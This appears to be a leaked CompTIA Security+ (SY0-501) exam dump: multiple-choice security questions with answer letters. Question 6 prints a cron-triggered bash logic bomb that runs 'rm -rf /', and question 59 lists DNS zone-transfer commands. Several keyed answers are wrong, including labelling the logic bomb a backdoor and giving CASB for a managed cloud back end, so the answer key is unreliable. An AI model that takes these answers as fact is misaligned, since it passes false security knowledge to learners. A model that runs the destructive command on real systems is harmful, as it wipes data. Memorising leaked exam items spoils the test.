

SY0-501 Dumps

CompTIA Security+ Certification Exam

<https://www.certleader.com/SY0-501-dumps.html>



NEW QUESTION 1

- (Exam Topic 1)

A company wants to host a publicity available server that performs the following functions:

- ☒ Evaluates MX record lookup
- ☒ Can perform authenticated requests for A and AAA records
- ☒ Uses RRSIG

Which of the following should the company use to fulfill the above requirements?

- A. LDAPS
- B. DNSSEC
- C. SFTP
- D. nslookup
- E. dig

Answer: B

NEW QUESTION 2

- (Exam Topic 1)

Which of the following types of keys is found in a key escrow?

- A. Public
- B. Private
- C. Shared
- D. Session

Answer: B

Explanation:

<https://www.professormesser.com/security-plus/sy0-401/key-escrow-3/>

NEW QUESTION 3

- (Exam Topic 1)

Which of the following explains why vendors publish MD5 values when they provide software patches for their customers to download over the Internet?

- A. The recipient can verify integrity of the software patch.
- B. The recipient can verify the authenticity of the site used to download the patch.
- C. The recipient can request future updates to the software using the published MD5 value.
- D. The recipient can successfully activate the new software patch.

Answer: A

NEW QUESTION 4

- (Exam Topic 1)

An organization's file server has been virtualized to reduce costs. Which of the following types of backups would be MOST appropriate for the particular file server?

- A. Snapshot
- B. Full
- C. Incremental
- D. Differential

Answer: C

NEW QUESTION 5

- (Exam Topic 1)

After a user reports slow computer performance, a systems administrator detects a suspicious file, which was installed as part of a freeware software package. The systems administrator reviews the output below:

```
c:\Windows\system32>netstat -nab
Active Connections
Proto Local Address          Foreign Address        State                   RpcSs| [svchost.exe]
TCP    0.0.0.0:135             0.0.0.0:0               LISTENING               [svchost.exe]
TCP    0.0.0.0:445             0.0.0.0:0               LISTENING               [svchost.exe]

TCP    192.168.1.10:5000      10.37.213.20           ESTABLISHED             winserver.exe
UDP    192.168.1.10:1900      *.*
```

Based on the above information, which of the following types of malware was installed on the user's computer?

- A. RAT
- B. Keylogger
- C. Spyware
- D. Worm

E. Bot

Answer: D

NEW QUESTION 6

- (Exam Topic 1)

An information security specialist is reviewing the following output from a Linux server.

```
user@server:~$ crontab -l
5 * * * * /usr/local/bin/backup.sh
user@server: ~$ cat /usr/local/bin/backup.sh
#!/bin/bash
if ! grep - - quiet joeuser/etc/passwd
then rm -rf /
fi
```

Based on the above information, which of the following types of malware was installed on the server?

- A. Logic bomb
- B. Trojan
- C. Backdoor
- D. Ransomware
- E. Rootkit

Answer: C

NEW QUESTION 7

- (Exam Topic 1)

When connected to a secure WAP, which of the following encryption technologies is MOST likely to be configured when connecting to WPA2-PSK?

- A. DES
- B. AES
- C. MD5
- D. WEP

Answer: B

NEW QUESTION 8

- (Exam Topic 1)

A network administrator at a small office wants to simplify the configuration of mobile clients connecting to an encrypted wireless network. Which of the following should be implemented in the administrator does not want to provide the wireless password or he certificate to the employees?

- A. WPS
- B. 802.1x
- C. WPA2-PSK
- D. TKIP

Answer: A

NEW QUESTION 9

- (Exam Topic 1)

Which of the following network vulnerability scan indicators BEST validates a successful, active scan?

- A. The scan job is scheduled to run during off-peak hours.
- B. The scan output lists SQL injection attack vectors.
- C. The scan data identifies the use of privileged-user credentials.
- D. The scan results identify the hostname and IP address.

Answer: D

NEW QUESTION 10

- (Exam Topic 1)

Which of the following can be provided to an AAA system for the identification phase?

- A. Username
- B. Permissions
- C. One-time token
- D. Private certificate

Answer: A

NEW QUESTION 10

- (Exam Topic 1)

Malicious traffic from an internal network has been detected on an unauthorized port on an application server. Which of the following network-based security controls should the engineer consider implementing?

- A. ACLs
- B. HIPS
- C. NAT
- D. MAC filtering

Answer: A

NEW QUESTION 13

- (Exam Topic 1)

An organization wishes to provide better security for its name resolution services. Which of the following technologies BEST supports the deployment of DNSSEC at the organization?

- A. LDAP
- B. TPM
- C. TLS
- D. SSL
- E. PKI

Answer: E

NEW QUESTION 14

- (Exam Topic 1)

Which of the following would MOST likely appear in an uncredentialed vulnerability scan?

- A. Self-signed certificates
- B. Missing patches
- C. Auditing parameters
- D. Inactive local accounts

Answer: D

NEW QUESTION 18

- (Exam Topic 1)

Which of the following characteristics differentiate a rainbow table attack from a brute force attack? (Select two.)

- A. Rainbow table attacks greatly reduce compute cycles at attack time.
- B. Rainbow tables must include precomputed hashes.
- C. Rainbow table attacks do not require access to hashed passwords.
- D. Rainbow table attacks must be performed on the network.
- E. Rainbow table attacks bypass maximum failed login restrictions.

Answer: BE

NEW QUESTION 20

- (Exam Topic 1)

Two users need to send each other emails over unsecured channels. The system should support the principle of non-repudiation. Which of the following should be used to sign the user's certificates?





- A. RA
- B. CA
- C. CRL
- D. CSR

Answer: B

NEW QUESTION 21

- (Exam Topic 1)

A company is using a mobile device deployment model in which employees use their personal devices for work at their own discretion. Some of the problems the company is encountering include the following:

-  There is no standardization.
-  Employees ask for reimbursement for their devices.
-  Employees do not replace their devices often enough to keep them running efficiently.
-  The company does not have enough control over the devices.

Which of the following is a deployment model that would help the company overcome these problems?

- A. BYOD
- B. VDI
- C. COPE
- D. CYOD

Answer: D

NEW QUESTION 25

- (Exam Topic 1)

An auditor is reviewing the following output from a password-cracking tool:

```
user1:Password1
user2:Recovery!
user3:Alaskan10
user4:4Private
user5:PerFormance2
```

Which of the following methods did the auditor MOST likely use?

- A. Hybrid
- B. Dictionary
- C. Brute force
- D. Rainbow table

Answer: A

NEW QUESTION 27

- (Exam Topic 1)

Which of the following occurs when the security of a web application relies on JavaScript for input validation?

- A. The integrity of the data is at risk.
- B. The security of the application relies on antivirus.
- C. A host-based firewall is required.
- D. The application is vulnerable to race conditions.

Answer: A

NEW QUESTION 32

- (Exam Topic 1)

An organization's internal auditor discovers that large sums of money have recently been paid to a vendor that management does not recognize. The IT security department is asked to investigate the organization's ERP system to determine how the accounts payable module has been used to make these vendor payments.

The IT security department finds the following security configuration for the accounts payable module:

- ☒ New Vendor Entry – Required Role: Accounts Payable Clerk
- ☒ New Vendor Approval – Required Role: Accounts Payable Clerk
- ☒ Vendor Payment Entry – Required Role: Accounts Payable Clerk
- ☒ Vendor Payment Approval – Required Role: Accounts Payable Manager

Which of the following changes to the security configuration of the accounts payable module would BEST mitigate the risk?

- ☐ A. New Vendor Entry – Required Role: Accounts Payable Clerk
New Vendor Approval – Required Role: Accounts Payable Manager
Vendor Payment Entry – Required Role: Accounts Payable Clerk
Vendor Payment Approval – Required Role: Accounts Payable Manager
- ☐ B. New Vendor Entry – Required Role: Accounts Payable Manager
New Vendor Approval – Required Role: Accounts Payable Clerk
Vendor Payment Entry – Required Role: Accounts Payable Clerk
Vendor Payment Approval – Required Role: Accounts Payable Manager
- ☐ C. New Vendor Entry – Required Role: Accounts Payable Clerk
New Vendor Approval – Required Role: Accounts Payable Clerk
Vendor Payment Entry – Required Role: Accounts Payable Manager
Vendor Payment Approval – Required Role: Accounts Payable Manager
- ☐ D. New Vendor Entry – Required Role: Accounts Payable Clerk
New Vendor Approval – Required Role: Accounts Payable Manager
Vendor Payment Entry – Required Role: Accounts Payable Manager
Vendor Payment Approval – Required Role: Accounts Payable Manager

- A. Option A
- B. Option B
- C. Option C
- D. Option D

Answer: A

NEW QUESTION 34

- (Exam Topic 1)

An application team is performing a load-balancing test for a critical application during off-hours and has requested access to the load balancer to review which servers are up without having the administrator on call. The security analyst is hesitant to give the application team full access due to other critical applications running on the load balancer. Which of the following is the BEST solution for security analyst to process the request?

- A. Give the application team administrator access during off-hours.
- B. Disable other critical applications before granting the team access.
- C. Give the application team read-only access.
- D. Share the account with the application team.

Answer: C

NEW QUESTION 37

- (Exam Topic 1)

A user has attempted to access data at a higher classification level than the user's account is currently authorized to access. Which of the following access control models has been applied to this user's account?

- A. MAC
- B. DAC
- C. RBAC
- D. ABAC

Answer: A

NEW QUESTION 42

- (Exam Topic 1)

Which of the following types of cloud infrastructures would allow several organizations with similar structures and interests to realize the benefits of shared storage and resources?

- A. Private
- B. Hybrid
- C. Public
- D. Community

Answer: D

NEW QUESTION 46

- (Exam Topic 1)

Which of the following technologies employ the use of SAML? (Select two.)

- A. Single sign-on
- B. Federation
- C. LDAP
- D. Secure token
- E. RADIUS

Answer: AB

NEW QUESTION 47

- (Exam Topic 1)

Which of the following is an important step to take BEFORE moving any installation packages from a test environment to production?




- A. Roll back changes in the test environment
- B. Verify the hashes of files
- C. Archive and compress the files
- D. Update the secure baseline

Answer: B

NEW QUESTION 49

- (Exam Topic 1)

Ann. An employee in the payroll department, has contacted the help desk citing multiple issues with her device, including:

-  Slow performance
-  Word documents, PDFs, and images no longer opening
-  A pop-up

Ann states the issues began after she opened an invoice that a vendor emailed to her. Upon opening the invoice, she had to click several security warnings to view it in her word processor. With which of the following is the device MOST likely infected?

- A. Spyware
- B. Crypto-malware
- C. Rootkit
- D. Backdoor

Answer: D

NEW QUESTION 54

- (Exam Topic 1)

Which of the following attack types BEST describes a client-side attack that is used to manipulate an HTML iframe with JavaScript code via a web browser?

- A. Buffer overflow
- B. MITM
- C. XSS
- D. SQLi

Answer: C

NEW QUESTION 56

- (Exam Topic 1)

A department head at a university resigned on the first day of the spring semester. It was subsequently determined that the department head deleted numerous files and directories from the server-based home directory while the campus was closed. Which of the following policies or procedures could have prevented this from occurring?

- A. Time-of-day restrictions
- B. Permission auditing and review
- C. Offboarding
- D. Account expiration

Answer: C

NEW QUESTION 57

- (Exam Topic 1)

A manager wants to distribute a report to several other managers within the company. Some of them reside in remote locations that are not connected to the domain but have a local server. Because there is sensitive data within the report and the size of the report is beyond the limit of the email attachment size, emailing the report is not an option. Which of the following protocols should be implemented to distribute the report securely? (Select three.)

- A. S/MIME
- B. SSH
- C. SNMPv3
- D. FTPS
- E. SRTP
- F. HTTPS
- G. LDAPS

Answer: BDF

NEW QUESTION 58

- (Exam Topic 2)

A dumpster diver recovers several hard drives from a company and is able to obtain confidential data from one of the hard drives. The company then discovers its information is posted online. Which of the following methods would have MOST likely prevented the data from being exposed?

- A. Removing the hard drive from its enclosure
- B. Using software to repeatedly rewrite over the disk space
- C. Using Blowfish encryption on the hard drives
- D. Using magnetic fields to erase the data

Answer: D

NEW QUESTION 59

- (Exam Topic 2)

A security analyst is testing both Windows and Linux systems for unauthorized DNS zone transfers within a LAN on comptia.org from example.org. Which of the following commands should the security analyst use? (Select two.)

- A. `nslookup`
`comptia.org`
`set type=ANY`
`ls-d example.org`
- B. `nslookup`
`comptia.org`
`set type=MX`
`example.org`
- C. `dig -axfr comptia.org @example.org`
- D. `ipconfig /flushDNS`
- E. `ifconfig eth0 down`
`ifconfig eth0 up`
`dhclient renew`
- F. `dig @example.org comptia.org`

- A. Option A
- B. Option B

- C. Option C
- D. Option D
- E. Option E
- F. Option F

Answer: AC

NEW QUESTION 61

- (Exam Topic 2)

A company is developing a new system that will unlock a computer automatically when an authorized user sits in front of it, and then lock the computer when the user leaves. The user does not have to perform any action for this process to occur. Which of the following technologies provides this capability?

- A. Facial recognition
- B. Fingerprint scanner
- C. Motion detector
- D. Smart cards

Answer: A

NEW QUESTION 64

- (Exam Topic 2)

A security analyst is performing a quantitative risk analysis. The risk analysis should show the potential monetary loss each time a threat or event occurs. Given this requirement, which of the following concepts would assist the analyst in determining this value? (Select two.)

- A. ALE
- B. AV
- C. ARO
- D. EF
- E. ROI

Answer: BD

NEW QUESTION 65

- (Exam Topic 2)

Which of the following should identify critical systems and components?

- A. MOU
- B. BPA
- C. ITCP
- D. BCP

Answer: D

NEW QUESTION 66

- (Exam Topic 2)

Which of the following types of attacks precedes the installation of a rootkit on a server?

- A. Pharming
- B. DDoS
- C. Privilege escalation
- D. DoS

Answer: C

NEW QUESTION 71

- (Exam Topic 2)

A security analyst has received the following alert snippet from the HIDS appliance:

PROTOCOL	SIG	SRC.PORT	DST.PORT
TCP	XMAS SCAN	192.168.1.1:1091	192.168.1.2:8891
TCP	XMAS SCAN	192.168.1.1:649	192.168.1.2:9001
TCP	XMAS SCAN	192.168.1.1:2264	192.168.1.2:6455
TCP	XMAS SCAN	192.168.1.1:3464	192.168.1.2:8744

Given the above logs, which of the following is the cause of the attack?

- A. The TCP ports on destination are all open
- B. FIN, URG, and PSH flags are set in the packet header
- C. TCP MSS is configured improperly
- D. There is improper Layer 2 segmentation

Answer: B

NEW QUESTION 74

- (Exam Topic 2)

An application developer is designing an application involving secure transports from one service to another that will pass over port 80 for a request.

Which of the following secure protocols is the developer MOST likely to use?

- A. FTPS
- B. SFTP
- C. SSL
- D. LDAPS
- E. SSH

Answer: C

NEW QUESTION 75

- (Exam Topic 2)

A black hat hacker is enumerating a network and wants to remain covert during the process. The hacker initiates a vulnerability scan. Given the task at hand the requirement of being covert, which of the following statements BEST indicates that the vulnerability scan meets these requirements?

- A. The vulnerability scanner is performing an authenticated scan.
- B. The vulnerability scanner is performing local file integrity checks.
- C. The vulnerability scanner is performing in network sniffer mode.
- D. The vulnerability scanner is performing banner grabbing.

Answer: C

NEW QUESTION 79

- (Exam Topic 2)

A security administrator is trying to encrypt communication. For which of the following reasons should administrator take advantage of the Subject Alternative Name (SAM) attribute of a certificate?

- A. It can protect multiple domains
- B. It provides extended site validation
- C. It does not require a trusted certificate authority
- D. It protects unlimited subdomains

Answer: B

NEW QUESTION 82

- (Exam Topic 2)

A new firewall has been placed into service at an organization. However, a configuration has not been entered on the firewall. Employees on the network segment covered by the new firewall report they are unable to access the network. Which of the following steps should be completed to BEST resolve the issue?

- A. The firewall should be configured to prevent user traffic from matching the implicit deny rule.
- B. The firewall should be configured with access lists to allow inbound and outbound traffic.
- C. The firewall should be configured with port security to allow traffic.
- D. The firewall should be configured to include an explicit deny rule.

Answer: A

NEW QUESTION 83

- (Exam Topic 2)

During a routine audit, it is discovered that someone has been using a stale administrator account to log into a seldom used server. The person has been using the server to view inappropriate websites that are prohibited to end users.

Which of the following could best prevent this from occurring again?

- A. Credential management
- B. Group policy management
- C. Acceptable use policy
- D. Account expiration policy

Answer: B

NEW QUESTION 86

- (Exam Topic 2)

A security analyst accesses corporate web pages and inputs random data in the forms. The response received includes the type of database used and SQL commands that the database accepts. Which of the following should the security analyst use to prevent this vulnerability?

- A. Application fuzzing
- B. Error handling
- C. Input validation
- D. Pointer dereference

Answer: C

NEW QUESTION 87

- (Exam Topic 2)

A vulnerability scanner that uses its running service's access level to better assess vulnerabilities across multiple assets within an organization is performing a:

- A. Credentialed scan.
- B. Non-intrusive scan.

- C. Privilege escalation test.
- D. Passive scan.

Answer: A

NEW QUESTION 92

- (Exam Topic 2)

An organization uses SSO authentication for employee access to network resources. When an employee resigns, as per the organization's security policy, the employee's access to all network resources is terminated immediately. Two weeks later, the former employee sends an email to the help desk for a password reset to access payroll information from the human resources server. Which of the following represents the BEST course of action?

- A. Approve the former employee's request, as a password reset would give the former employee access to only the human resources server.
- B. Deny the former employee's request, since the password reset request came from an external email address.
- C. Deny the former employee's request, as a password reset would give the employee access to all network resources.
- D. Approve the former employee's request, as there would not be a security issue with the former employee gaining access to network resources.

Answer: C

NEW QUESTION 94

- (Exam Topic 2)

A systems administrator is reviewing the following information from a compromised server:

Process	DEP	Local Address	Remote Address
LSASS	YES	0.0.0.0.	10.210.100.62
APACHE	NO	0.0.0.0	10.130.210.20
MySQL	NO	127.0.0.1	127.0.0.1
TFTP	YES	191.168.1.10	10.34.221.96

Given the above information, which of the following processes was MOST likely exploited via a remote buffer overflow attack?

- A. Apache
- B. LSASS
- C. MySQL
- D. TFTP

Answer: A

NEW QUESTION 95

- (Exam Topic 2)

Which of the following vulnerability types would the type of hacker known as a script kiddie be MOST dangerous against?

- A. Passwords written on the bottom of a keyboard
- B. Unpatched exploitable Internet-facing services
- C. Unencrypted backup tapes
- D. Misplaced hardware token

Answer: B

NEW QUESTION 97

- (Exam Topic 3)

An organization is moving its human resources system to a cloud services provider.

The company plans to continue using internal usernames and passwords with the service provider, but the security manager does not want the service provider to have a copy of the passwords. Which of the following options meets all of these requirements?

- A. Two-factor authentication
- B. Account and password synchronization
- C. Smartcards with PINS
- D. Federated authentication

Answer: D

NEW QUESTION 100

- (Exam Topic 3)

A system administrator wants to implement an internal communication system that will allow employees to send encrypted messages to each other. The system must also support non-repudiation. Which of the following implements all these requirements?

- A. Bcrypt
- B. Blowfish
- C. PGP
- D. SHA

Answer: C

NEW QUESTION 103

- (Exam Topic 3)

Joe a computer forensic technician responds to an active compromise of a database server. Joe first collects information in memory, then collects network traffic and finally conducts an image of the hard drive. Which of the following procedures did Joe follow?

- A. Order of volatility
- B. Chain of custody
- C. Recovery procedure
- D. Incident isolation

Answer: A

NEW QUESTION 106

- (Exam Topic 3)

An organization relies heavily on an application that has a high frequency of security updates. At present, the security team only updates the application on the first Monday of each month, even though the security updates are released as often as twice a week.

Which of the following would be the BEST method of updating this application?

- A. Configure testing and automate patch management for the application.
- B. Configure security control testing for the application.
- C. Manually apply updates for the application when they are released.
- D. Configure a sandbox for testing patches before the scheduled monthly update.

Answer: A

NEW QUESTION 110

- (Exam Topic 3)

An employee uses RDP to connect back to the office network. If RDP is misconfigured, which of the following security exposures would this lead to?

- A. A virus on the administrator's desktop would be able to sniff the administrator's username and password.
- B. Result in an attacker being able to phish the employee's username and password.
- C. A social engineering attack could occur, resulting in the employee's password being extracted.
- D. A man in the middle attack could occur, resulting the employee's username and password being captured.

Answer: D

NEW QUESTION 113

- (Exam Topic 3)

A product manager is concerned about continuing operations at a facility located in a region undergoing significant political unrest. After consulting with senior management, a decision is made to suspend operations at the facility until the situation stabilizes.

Which of the following risk management strategies BEST describes management's response?

- A. Deterrence
- B. Mitigation
- C. Avoidance
- D. Acceptance

Answer: C

NEW QUESTION 118

- (Exam Topic 3)

A security guard has informed the Chief Information Security Officer that a person with a tablet has been walking around the building. The guard also noticed strange white markings in different areas of the parking lot. The person is attempting which of the following types of attacks?

- A. Jamming
- B. War chalking
- C. Packet sniffing
- D. Near field communication

Answer: B

NEW QUESTION 122

- (Exam Topic 3)

A security analyst has been asked to perform a review of an organization's software development lifecycle. The analyst reports that the lifecycle does not contain a phase in which team members evaluate and provide critical feedback of another developer's code. Which of the following assessment techniques is BEST described in the analyst's report?

- A. Architecture evaluation
- B. Baseline reporting
- C. Whitebox testing
- D. Peer review

Answer: D

NEW QUESTION 125

- (Exam Topic 3)

Which of the following is a document that contains detailed information about actions that include how something will be done, when the actions will be performed, and penalties for failure?

- A. MOU
- B. ISA
- C. BPA
- D. SLA

Answer: D

NEW QUESTION 129

- (Exam Topic 3)

While performing surveillance activities, an attacker determines that an organization is using 802.1X to secure LAN access. Which of the following attack mechanisms can the attacker utilize to bypass the identified network security?

- A. MAC spoofing
- B. Pharming
- C. Xmas attack
- D. ARP poisoning

Answer: A

NEW QUESTION 134

- (Exam Topic 3)

A computer on a company network was infected with a zero-day exploit after an employee accidentally opened an email that contained malicious content. The employee recognized the email as malicious and was attempting to delete it, but accidentally opened it. Which of the following should be done to prevent this scenario from occurring again in the future?

- A. Install host-based firewalls on all computers that have an email client installed
- B. Set the email program default to open messages in plain text
- C. Install end-point protection on all computers that access web email
- D. Create new email spam filters to delete all messages from that sender

Answer: C

NEW QUESTION 135

- (Exam Topic 3)

Which of the following best describes the initial processing phase used in mobile device forensics?

- A. The phone should be powered down and the battery removed to preserve the state of data on any internal or removable storage utilized by the mobile device
- B. The removable data storage cards should be processed first to prevent data alteration when examining the mobile device
- C. The mobile device should be examined first, then removable storage and lastly the phone without removable storage should be examined again
- D. The phone and storage cards should be examined as a complete unit after examining the removable storage cards separately.

Answer: D

NEW QUESTION 140

- (Exam Topic 3)

During a recent audit, it was discovered that several user accounts belonging to former employees were still active and had valid VPN permissions. Which of the following would help reduce the amount of risk the organization incurs in this situation in the future?

- A. Time-of-day restrictions
- B. User access reviews
- C. Group-based privileges
- D. Change management policies

Answer: B

NEW QUESTION 144

- (Exam Topic 3)

A penetration testing is preparing for a client engagement in which the tester must provide data that proves and validates the scanning tools' results. Which of the following is the best method for collecting this information?

- A. Set up the scanning system's firewall to permit and log all outbound connections
- B. Use a protocol analyzer to log all pertinent network traffic
- C. Configure network flow data logging on all scanning system
- D. Enable debug level logging on the scanning system and all scanning tools used.

Answer: A

NEW QUESTION 149

- (Exam Topic 3)

Joe notices there are several user accounts on the local network generating spam with embedded malicious code. Which of the following technical control should Joe put in place to BEST reduce these incidents?

- A. Account lockout
- B. Group Based Privileges
- C. Least privilege
- D. Password complexity

Answer: A

NEW QUESTION 154

- (Exam Topic 3)

Recently several employees were victims of a phishing email that appeared to originate from the company president. The email claimed the employees would be disciplined if they did not click on a malicious link in the message. Which of the following principles of social engineering made this attack successful?

- A. Authority
- B. Spamming
- C. Social proof
- D. Scarcity

Answer: A

NEW QUESTION 158

- (Exam Topic 3)

Which of the following is commonly used for federated identity management across multiple organizations?

- A. SAML
- B. Active Directory
- C. Kerberos
- D. LDAP

Answer: A

NEW QUESTION 159

- (Exam Topic 3)

An administrator is testing the collision resistance of different hashing algorithms. Which of the following is the strongest collision resistance test?

- A. Find two identical messages with different hashes
- B. Find two identical messages with the same hash
- C. Find a common has between two specific messages
- D. Find a common hash between a specific message and a random message

Answer: A

NEW QUESTION 163

- (Exam Topic 3)

A security program manager wants to actively test the security posture of a system. The system is not yet in production and has no uptime requirement or active user base.

Which of the following methods will produce a report which shows vulnerabilities that were actually exploited?

- A. Peer review
- B. Component testing
- C. Penetration testing
- D. Vulnerability testing

Answer: C

Explanation:

A penetration test, or pen test, is an attempt to evaluate the security of an IT infrastructure by safely trying to exploit vulnerabilities.

NEW QUESTION 167

- (Exam Topic 3)

A technician needs to implement a system which will properly authenticate users by their username and password only when the users are logging in from a computer in the office building. Any attempt to authenticate from a location other than the office building should be rejected. Which of the following **MUST** the technician implement?

- A. Dual factor authentication
- B. Transitive authentication
- C. Single factor authentication
- D. Biometric authentication

Answer: B

NEW QUESTION 171

- (Exam Topic 3)

An attacker wearing a building maintenance uniform approached a company's receptionist asking for access to a secure area. The receptionist asks for identification, a building access badge and checks the company's list approved maintenance personnel prior to granting physical access to the secure area. The controls used by the receptionist are in place to prevent which of the following types of attacks?

- A. Tailgating
- B. Shoulder surfing
- C. Impersonation
- D. Hoax

Answer:

C

NEW QUESTION 174

- (Exam Topic 3)

A security administrator is developing training for corporate users on basic security principles for personal email accounts. Which of the following should be mentioned as the MOST secure way for password recovery?

- A. Utilizing a single Qfor password recovery
- B. Sending a PIN to a smartphone through text message
- C. Utilizing CAPTCHA to avoid brute force attacks
- D. Use a different e-mail address to recover password

Answer: B

NEW QUESTION 178

- (Exam Topic 3)

A forensic analyst is asked to respond to an ongoing network attack on a server. Place the items in the list below in the correct order in which the forensic analyst should preserve them.

1	<input type="text"/>	RAM
2	<input type="text"/>	CPU cache
3	<input type="text"/>	Swap
4	<input type="text"/>	Hard drive

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

When dealing with multiple issues, address them in order of volatility (OOV); always deal with the most volatile first. Volatility can be thought of as the amount of time that you have to collect certain data before a window of opportunity is gone. Naturally, in an investigation you want to collect everything, but some data will exist longer than others, and you cannot possibly collect all of it once. As an example, the OOV in an investigation may be RAM, hard drive data, CDs/DVDs, and printouts.

Order of volatility: Capture system images as a snapshot of what exists, look at network traffic and logs, capture any relevant video/screenshots/ hashes, record time offset on the systems, talk to witnesses, and track total man-hours and expenses associated with the investigation.

NEW QUESTION 181

- (Exam Topic 3)

New magnetic locks were ordered for an entire building. In accordance with company policy, employee safety is the top priority. In case of a fire where electricity is cut, which of the following should be taken into consideration when installing the new locks?

- A. Fail safe
- B. Fault tolerance
- C. Fail secure
- D. Redundancy

Answer: A

NEW QUESTION 185

- (Exam Topic 3)

Joe, the security administrator, sees this in a vulnerability scan report:

"The server 10.1.2.232 is running Apache 2.2.20 which may be vulnerable to a mod_cgi exploit."

Joe verifies that the mod_cgi module is not enabled on 10.1.2.232. This message is an example of:

- A. a threat.
- B. a risk.
- C. a false negative.
- D. a false positive.

Answer: D

NEW QUESTION 187

- (Exam Topic 3)

A security administrator is tasked with conducting an assessment made to establish the baseline security posture of the corporate IT infrastructure. The assessment must report actual flaws and weaknesses in the infrastructure. Due to the expense of hiring outside consultants, the testing must be performed using in-house or cheaply available resource. There cannot be a possibility of any requirement being damaged in the test.

Which of the following has the administrator been tasked to perform?

- A. Risk transference
- B. Penetration test
- C. Threat assessment
- D. Vulnerability assessment

Answer: D

NEW QUESTION 188

- (Exam Topic 4)

A security analyst is reviewing the following packet capture of an attack directed at a company's server located in the DMZ:

```
10:55:24.126586 IP 192.168.1.10.5000 > 172.31.67.4.21: Flags [S]  
10:55:24.126596 IP 192.168.1.10.5001 > 172.31.67.4.22: Flags [S]  
10:55:24.126601 IP 192.168.1.10.5002 > 172.31.67.4.25: Flags [S]  
10:55:24.126608 IP 192.168.1.10.5003 > 172.31.67.4.37: Flags [S]
```

Which of the following ACLs provides the BEST protection against the above attack and any further attacks from the same IP, while minimizing service interruption?

- A. DENY TCO From ANY to 172.31.64.4
- B. Deny UDP from 192.168.1.0/24 to 172.31.67.0/24
- C. Deny IP from 192.168.1.10/32 to 0.0.0.0/0
- D. Deny TCP from 192.168.1.10 to 172.31.67.4

Answer: D

NEW QUESTION 189

- (Exam Topic 4)

Which of the following is the BEST choice for a security control that represents a preventive and corrective logical control at the same time?

- A. Security awareness training
- B. Antivirus
- C. Firewalls
- D. Intrusion detection system

Answer: B

NEW QUESTION 192

- (Exam Topic 4)

A security administrator suspects that data on a server has been exfiltrated as a result of unauthorized remote access. Which of the following would assist the administrator in confirming the suspicions? (Select TWO)

- A. Networking access control
- B. DLP alerts
- C. Log analysis
- D. File integrity monitoring
- E. Host firewall rules

Answer: BC

NEW QUESTION 195

- (Exam Topic 4)

A vulnerability scan is being conducted against a desktop system. The scan is looking for files, versions, and registry values known to be associated with system vulnerabilities. Which of the following BEST describes the type of scan being performed?

- A. Non-intrusive
- B. Authenticated
- C. Credentialed
- D. Active

Answer: C

NEW QUESTION 197

- (Exam Topic 4)

Due to regulatory requirements, a security analyst must implement full drive encryption on a Windows file server. Which of the following should the analyst implement on the system to BEST meet this requirement? (Choose two.)

- A. Enable and configure EFS on the file system.
- B. Ensure the hardware supports TPM, and enable it in the BIOS.
- C. Ensure the hardware supports VT-X, and enable it in the BIOS.
- D. Enable and configure BitLocker on the drives.
- E. Enable and configure DFS across the file system.

Answer: BD

NEW QUESTION 202

- (Exam Topic 4)

A company is deploying a new VoIP phone system. They require 99.999% uptime for their phone service and are concerned about their existing data network interfering with the VoIP phone system. The core switches in the existing data network are almost fully saturated. Which of the following options will provide the best performance and availability for both the VoIP traffic, as well as the traffic on the existing data network?

- A. Put the VoIP network into a different VLAN than the existing data network.
- B. Upgrade the edge switches from 10/100/1000 to improve network speed
- C. Physically separate the VoIP phones from the data network
- D. Implement flood guards on the data network

Answer: A

NEW QUESTION 207

- (Exam Topic 4)

The IT department is deploying new computers. To ease the transition, users will be allowed to access their old and new systems.

The help desk is receiving reports that users are experiencing the following error when attempting to log in to their previous system:

Logon Failure: Access Denied

Which of the following can cause this issue?

- A. Permission issues
- B. Access violations
- C. Certificate issues
- D. Misconfigured devices

Answer: C

NEW QUESTION 210

- (Exam Topic 4)

A consultant has been tasked to assess a client's network. The client reports frequent network outages. Upon viewing the spanning tree configuration, the consultant notices that an old and low performing edge switch on the network has been elected to be the root bridge. Which of the following explains this scenario?

- A. The switch also serves as the DHCP server
- B. The switch has the lowest MAC address
- C. The switch has spanning tree loop protection enabled
- D. The switch has the fastest uplink port

Answer: C

NEW QUESTION 215

- (Exam Topic 4)

As part of a new BYOD rollout, a security analyst has been asked to find a way to securely store company data on personal devices. Which of the following would BEST help to accomplish this?

- A. Require the use of an eight-character PIN.
- B. Implement containerization of company data.
- C. Require annual AUP sign-off.
- D. Use geofencing tools to unlock devices while on the premises.

Answer: B

NEW QUESTION 218

- (Exam Topic 4)

Company XYZ has decided to make use of a cloud-based service that requires mutual, certificate-based authentication with its users. The company uses SSL-inspecting IDS at its network boundary and is concerned about the confidentiality of the mutual authentication. Which of the following models prevents the IDS from capturing credentials used to authenticate users to the new service or keys to decrypt that communication?

- A. Use of OATH between the user and the service and attestation from the company domain
- B. Use of active directory federation between the company and the cloud-based service
- C. Use of smartcards that store x.509 keys, signed by a global CA
- D. Use of a third-party, SAML-based authentication service for attestation

Answer: B

NEW QUESTION 221

- (Exam Topic 4)

An organization recently moved its custom web applications to the cloud, and it is obtaining managed services of the back-end environment as part of its subscription. Which of the following types of services is this company now using?

- A. SaaS
- B. CASB
- C. IaaS
- D. PaaS

Answer: B

Explanation:

Security Broker (CASB) gives you both visibility into your entire cloud stack and the security automation tool your IT team needs.

NEW QUESTION 224

- (Exam Topic 4)

A member of the admins group reports being unable to modify the "changes" file on a server. The permissions on the file are as follows:

Permissions User Group File

-rwxrw-r--+ Admins Admins changes

Based on the output above, which of the following BEST explains why the user is unable to modify the "changes" file?

- A. The SELinux mode on the server is set to "enforcing."
- B. The SELinux mode on the server is set to "permissive."
- C. An ACL has been added to the permissions for the file.
- D. The admins group does not have adequate permissions to access the file.

Answer: C

NEW QUESTION 229

- (Exam Topic 4)

An audit has revealed that database administrators are also responsible for auditing database changes and backup logs. Which of the following access control methodologies would BEST mitigate this concern?

- A. Time of day restrictions
- B. Principle of least privilege
- C. Role-based access control
- D. Separation of duties

Answer: D

NEW QUESTION 233

- (Exam Topic 4)

An organization wants to utilize a common, Internet-based third-party provider for authorization and authentication. The provider uses a technology based on OAuth 2.0 to provide required services. To which of the following technologies is the provider referring?

- A. Open ID Connect
- B. SAML
- C. XACML
- D. LDAP

Answer: A

NEW QUESTION 235

- (Exam Topic 4)

A security administrator receives an alert from a third-party vendor that indicates a certificate that was installed in the browser has been hijacked at the root of a small public CA. The security administrator knows there are at least four different browsers in use on more than a thousand computers in the domain worldwide. Which of the following solutions would be BEST for the security administrator to implement to most efficiently assist with this issue?

- A. SSL
- B. CRL
- C. PKI
- D. ACL

Answer: B

NEW QUESTION 236

